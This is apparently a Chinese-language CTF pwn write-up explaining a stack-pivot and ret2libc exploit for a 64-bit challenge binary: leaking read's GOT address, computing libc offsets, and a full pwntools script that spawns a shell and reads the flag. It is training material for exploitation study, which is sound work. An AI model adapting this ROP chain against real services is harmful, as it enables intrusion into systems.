这几天做的自我感觉很有代表性的一个题,尝试写一下wp,不能保证没有错误,欢迎大家指出
本题属于比较麻烦的一类栈迁移, 不但有经典的溢出限制,而且还结合了ret2libc的内容(没有后门),需要先泄露找libc再写入system和binsh。思路不难但实现复杂,属于是很典型的ROP了。
先checksec一下:

64位程序只开了一个NX堆栈不可执行,无特殊,接着进ida64;
审视一下函数表和字符串表(shift+F12),发现无后门,无system函数或binsh,能感觉到解法绕不开ret2libc了。
进main函数,里头有俩段:

第一段0x401196属于初始化,不管,直接进第二段0x4011FB

一看有俩read,仔细看事实上只有第二个有溢出风险,而且0x60=96,只有16个字节的溢出空间,正好只够填充64位程序8字节的ebp和ret地址,要想实现ret2libc必须将payload迁移至v2中去,这就需要栈迁移。
栈迁移本质是利用leave指令来篡改ebp地址来控制栈顶esp,进而控制ret的地址来完成迁移操作。
(这里解释一下:leave = mov esp ebp;pop ebp,ret = pop eip;利用前者我们可以把ebp换成想要的地址传给esp,这样下一次ret就会在我们想要的地址处取地址执行指令,从而达到控制程序流的目的

为此我们首先要拿到leave&ret的gadget,ROPgadget一下
顺便把之后需要的ret,rdi也爆一下

其次我们要知道栈地址,注意到函数里头这个printf:

可以看出出题人好心帮了我们一把,直接把buf的地址爆了,相当于直接获得了栈地址,栈迁移的条件齐全了
不放心的话可以Linux下gdb一下子,这里就不试了
这样前置工作差不多结束了,接下来开始写payload:
第一个buf随便写就行(反正最后会被pop掉),首先接收传来的地址:
1 2 3 4 5 6 7 8
| payload = b'aaaa' p.sendafter(b'name:\n', payload) p.recvuntil(b'\n') p.recvuntil(b'x') addr = p.recvuntil('m')[:-1].rjust(16, b'0') log.success(addr) bufAddr = int(addr, 16) log.success(hex(bufAddr))
|
这个地方根据回显来处理地址的字符串切片就行,不一定非得写一样的。byte转int直接用就行。

下一个read开始栈迁移+爆地址,这里选择爆read的(这个随便看心情,如果pwn不动可以换一个函数试试)
1 2 3 4 5
| payload = p64(retAddr) payload += p64(rdiAddr) + p64(readGot) + p64(putsPlt) + p64(mainAddr) payload = payload.ljust(80, b'\x00') payload += p64(bufAddr) payload += p64(levretAddr)
|
这里的ret目的是栈对齐,pwn不通的话加个ret试试;bufAddr就是buf的地址,和接下来的v2是连着的,8字节正好pop掉,不影响后边的payload。为了再返回打第二波,把main地址加后边
成功爆出了read的内存地址:

接收一下:
1
| readAddr = u64(p.recv(8)[:-2].ljust(8, b'\0'))
|
地址切片处理还是依照回显调整
题目附件有libc,直接用现成的:
1 2 3 4 5
| libcElf = ELF('../libc.so.6') system_libc = libcElf.symbols['system'] binsh_libc = libcElf.search(b'/bin/sh').__next__() puts_libc = libcElf.symbols['puts'] read_libc = libcElf.symbols['read']
|
算一下偏移量:
1 2 3
| offset = readAddr - read_libc binsh = offset + binsh_libc system = offset + system_libc
|
验证libc版本是否匹配:看一下offset后三位
若是000大概率正确,实在不行用DynElf
接下来是第二波:(注意地址换了,需要再接收一下)
1 2 3 4 5 6 7 8 9 10 11
| payload = p64(retAddr) payload += p64(retAddr) payload += p64(rdiAddr)
payload += p64(bufAddr + 56) payload += p64(system) payload += p64(mainAddr) payload += b'/bin/sh' payload = payload.ljust(80, b'\x00') payload += p64(bufAddr) payload += p64(levretAddr)
|
这一波就直接开始pwn了。(其实这里的binsh直接用就行,这种偏移写法麻烦容易犯错,只是测试一下有没有算错地址)注意补ret来栈对齐。
成功拿到flag:

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug") binary = '../sm' elf =ELF(binary) libcElf = ELF('../libc.so.6')
local = 1 port = 25251 if local == 1: p = process(binary) else: p = remote("node5.buuoj.cn",port)
next = b"ls && cat flag"
system_libc = libcElf.symbols['system'] binsh_libc = libcElf.search(b'/bin/sh').__next__() puts_libc = libcElf.symbols['puts'] read_libc = libcElf.symbols['read']
putsPlt = elf.plt["puts"] putsGot = elf.got["puts"] readGot = elf.got["read"]
mainAddr = 0x4011fb retAddr = 0x000000000040101a levretAddr = 0x00000000004012aa rdiAddr = 0x0000000000401333
payload = b'aaaa' p.sendafter(b'name:\n', payload) p.recvuntil(b'\n') p.recvuntil(b'x')
addr = p.recvuntil('m')[:-1].rjust(16, b'0') log.success(addr) bufAddr = int(addr, 16) log.success(hex(bufAddr))
payload = p64(retAddr) payload += p64(rdiAddr) + p64(readGot) + p64(putsPlt) + p64(mainAddr) payload = payload.ljust(80, b'\x00') payload += p64(bufAddr) payload += p64(levretAddr)
p.sendafter(b'plz:\n', payload)
p.recvuntil(b'\n') p.recvuntil(b'\n')
readAddr = u64(p.recv(8)[:-2].ljust(8, b'\0'))
offset = readAddr - read_libc binsh = offset + binsh_libc system = offset + system_libc
payload = b'aaaaaaaa'
p.sendafter(b'name:\n', payload) p.recvuntil(b'\n') p.recvuntil(b'x')
addr = p.recvuntil('m')[:-1].rjust(16, b'0') log.success(addr) bufAddr = int(addr, 16) log.success(hex(bufAddr))
payload = p64(retAddr) payload += p64(retAddr) payload += p64(rdiAddr)
payload += p64(bufAddr + 56) payload += p64(system) payload += p64(mainAddr) payload += b'/bin/sh' payload = payload.ljust(80, b'\x00') payload += p64(bufAddr) payload += p64(levretAddr)
p.sendafter(b'plz:\n', payload)
p.sendline(next) p.interactive()
|